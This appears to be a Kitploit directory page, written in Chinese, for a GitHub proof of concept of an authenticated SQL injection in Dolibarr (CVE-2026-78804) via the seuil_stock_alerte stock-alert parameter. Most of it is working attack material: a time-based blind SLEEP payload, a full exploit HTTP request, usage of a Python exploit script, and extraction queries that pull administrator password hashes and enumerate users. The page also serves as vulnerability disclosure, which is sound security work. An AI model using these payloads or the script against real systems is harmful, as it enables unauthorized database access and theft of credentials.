Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-78804_Dolibarr_authenticated_SQL_injection — 负责设置每个仓库的库存警报阈值(`seuil_stock_alerte`)的操作接受用户控制的输入,随后在未进行适当数值转换或参数绑定情况下将其纳入 SQL 查询。 #dolibarr #exploit | Kitploit
工具/GitHubGitHub/repo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection
漏洞分析漏洞利用脚本与自动化Web应用程序漏洞利用Web安全渗透测试数据库安全
GitHubrepo4chu/cve-2026-78804_dolibarr_authenticated_sql_injection

CVE-2026-78804_Dolibarr_authenticated_SQL_injection

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →

负责设置每个仓库的库存警报阈值(`seuil_stock_alerte`)的操作接受用户控制的输入,随后在未进行适当数值转换或参数绑定情况下将其纳入 SQL 查询。 #dolibarr #exploit

查看仓库
16小时21分前尚未审核
分享

Dolibarr — 认证后 SQL 注入 PoC

通过 seuil_stock_alerte 参数影响产品库存管理功能的 SQL 注入漏洞。

受影响版本

已在以下版本中测试并确认:

  • 19.0.4
  • 20.0.4
  • 21.0.4
  • 22.0.5
  • 23.0.3
  • 24.0.0(在报告之前一直有效。)

漏洞参数

seuil_stock_alerte

该参数由以下文件接收:

root@kitploit:~
/product/stock/product.php

使用 addlimitstockwarehouse 操作。

利用方式

该参数在未进行数值转换的情况下被获取:

root@kitploit:~
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');

$pse->seuil_stock_alerte = $seuil_stock_alerte;

随后通过直接字符串拼接进入 SQL 语句:

root@kitploit:~
$sql .= ' seuil_stock_alerte = '.
    (isset($this->seuil_stock_alerte)
        ? $this->seuil_stock_alerte
        : "null").',';

由于该值被插入到未加引号的数值上下文中,因此可以提供一个 SQL 表达式来代替常规数值。

基于时间的盲注 SQL 注入

布尔/时间型表达式足以证明执行:

root@kitploit:~
(SELECT IF((1=1),SLEEP(15),0))

示例参数:

root@kitploit:~
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

成功的请求会产生约 15 秒的 HTTP 响应延迟,确认注入的 SQL 表达式已被执行。

漏洞请求

可通过类似以下认证请求触发该漏洞操作:

root@kitploit:~
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded

action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))

要求:

  • 有效的认证会话
  • CSRF token(从产品卡片页面提取)
  • 产品 ID
  • 仓库 ID

认证与权限

该问题在仅具有以下权限的认证账户下复现:

root@kitploit:~
Product → Create (produit/creer)

权限——一个可以创建产品的低权限账户。

影响

该 SQL 注入可实现:

  1. 基于时间的盲注 SQL 注入 — 可通过 SLEEP 延迟执行查询
  2. 信息泄露 — 可逐字符窃取数据库内容
  3. 潜在的权限提升 — 提取管理员凭据或敏感数据
  4. 数据库侦察 — 通过报错或基于时间的方法枚举数据库结构

该系统上的数据库级限制阻止了直接执行操作系统命令。

利用工具

随附的 PoC 脚本 stock_sqli_poc.py 可自动化利用过程:

用法

root@kitploit:~
python3 stock_sqli_poc.py \
  --url http://127.0.0.1:8088 \
  --proxy http://127.0.0.1:8080 \
  --login webeditor \
  --password 'WebEdit0r!' \
  --product-id 1 \
  --warehouse-id 1 \
  --extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
  --length 14

功能

  • 自动登录 — 向目标进行认证
  • 注入确认 — 使用测试载荷(1=1 与 1=2)验证 SQL 注入
  • 二分查找提取 — 使用 ASCII 比较高效地逐字符提取数据
  • 代理支持 — 可与 Burp Suite 或其他 HTTP 代理集成
  • 可配置延迟 — 调整 SLEEP 持续时间以提高可靠性

命令行选项

选项默认值描述
--urlhttp://127.0.0.1:8088目标 Dolibarr 实例 URL
--proxyhttp://127.0.0.1:8080HTTP 代理(Burp 等)。设置为空字符串以禁用
--loginwebeditor低权限账户的用户名
--passwordWebEdit0r!账户密码
--product-id1目标产品 ID
--warehouse-id1目标仓库 ID
--delay1.0用于基于时间检测的 SLEEP 持续时间(秒)
--extract(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)要窃取的 SQL 表达式
--length14要提取的最大字符长度

提取示例

提取管理员密码哈希:

root@kitploit:~
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"

枚举用户:

root@kitploit:~
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"

数据库版本:

root@kitploit:~
--extract "VERSION()"

当前数据库用户:

root@kitploit:~
--extract "USER()"

⚠️ 法律声明: 仅对您拥有明确书面授权的系统使用此漏洞利用程序。未经授权访问计算机系统是违法的。此 PoC 仅供教育和授权安全测试目的提供。

下载工具